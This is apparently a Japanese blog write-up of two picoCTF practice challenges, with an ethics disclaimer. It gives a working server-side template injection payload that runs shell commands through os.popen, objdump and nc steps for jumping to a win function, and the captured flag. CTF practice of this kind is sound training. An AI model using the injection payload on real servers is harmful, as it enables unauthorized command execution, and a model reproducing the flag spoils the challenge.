picoCTFの、picoGymというサイトを紹介してもらった。
CTFのいろいろが学べるサイトらしい。
CTFとは、capture the flagの略で、ペネトレーションテストの技を駆使して、サーバー内に置かれたフラグを何とかして見つけ出す競技だ。
ペネトレーションテストの練習になって良い。
ご注意:
ペネトレーションテスト等、セキュリティ研究やテストを行う際は、常に倫理的な行動をとり、対象システムの所有者から適切な許可を得て行うことが重要です。不正アクセスや攻撃は法律で禁止されており、重大な法的責任が伴います。
なので、あくまでも練習として、練習用のサーバーで行うのは、オッケーだが、ガチで実在のサーバーに対して、無許可で行うのは、捕まるので絶対やめた方がよい。
フォースを使っても、暗黒面に落ちてはいけないのだ。
今回は、picoGymの一番最初の問題を解いてみた。SSTI1というボックスをクリックして・・・・

Launch Instanceボタンを押す。

示されたURLに移動すると、なんか入力項目がある。

これだけではわからないので、ちょっとヒントを見ると、SSTIとか書いてある。
SSTIをAIで聞いてみると、サーバーサイド・テンプレート・インジェクションというもので、入力項目に
{{7*7}} |
と、入力し、49が表示されれば、サーバーサイド・テンプレート・インジェクション攻撃が出来るらしい。以下の魔法の言葉で、Linuxコマンド whoami が実行できるぞ。
{{ self._TemplateReference__context.cycler.init.globals.os.popen(‘whoami’).read() }} |
あとは、lsコマンドや、catコマンドを駆使して、flagを探そう。
nc rescued-float.picoctf.net 50272
続いて2番目。PIE TIME
cのソースコードを、コンパイル済みバイナリがダウンロードできる。
nc rescued-float.picoctf.net 50272 |
のように指定すると、バイナリが動くらしい。
なお、末尾の数字は、ポート番号(?)なので、インスタンスを起動するたびに変わる。
ncコマンドを実行すると、
$nc rescued-float.picoctf.net 50272
Address of main: 0x5f5a9fcb733d
Enter the address to jump to, ex => 0x12345:
のように表示される。
cのソースコードによれば、好きなアドレスを入力すると、そのアドレスから実行出来るっぽい。
また、win関数を実行すると、フラグの内容が見られそうだ。
多分、win関数のアドレスを入力すれば、win関数を実行できるのだろう。objdumpというツールを使って、バイナリファイル解析し、win関数のアドレスを調べる。
バイナリ実行時に、main関数の実行アドレスが表示されるので、バイナリファイルのmain関数と、win関数の相対位置から、win関数の実行アドレスを算出して入力すれば、win関数が実行できるのではないか?
$objdump -d vuln | grep <win>:
00000000000012a7 <win>:
$objdump -d vuln | grep <main>:
000000000000133d <main>:
main関数とwin関数のアドレスの差は-96
Address of main: 0x5f5a9fcb733d なので、96を引いて、5f5a9fcb72a7
$nc rescued-float.picoctf.net 50272
Address of main: 0x5f5a9fcb733d
Enter the address to jump to, ex => 0x12345: 5f5a9fcb72a7
Your input: 5f5a9fcb72a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_ecb96bdd}
よし、出来た!
コメント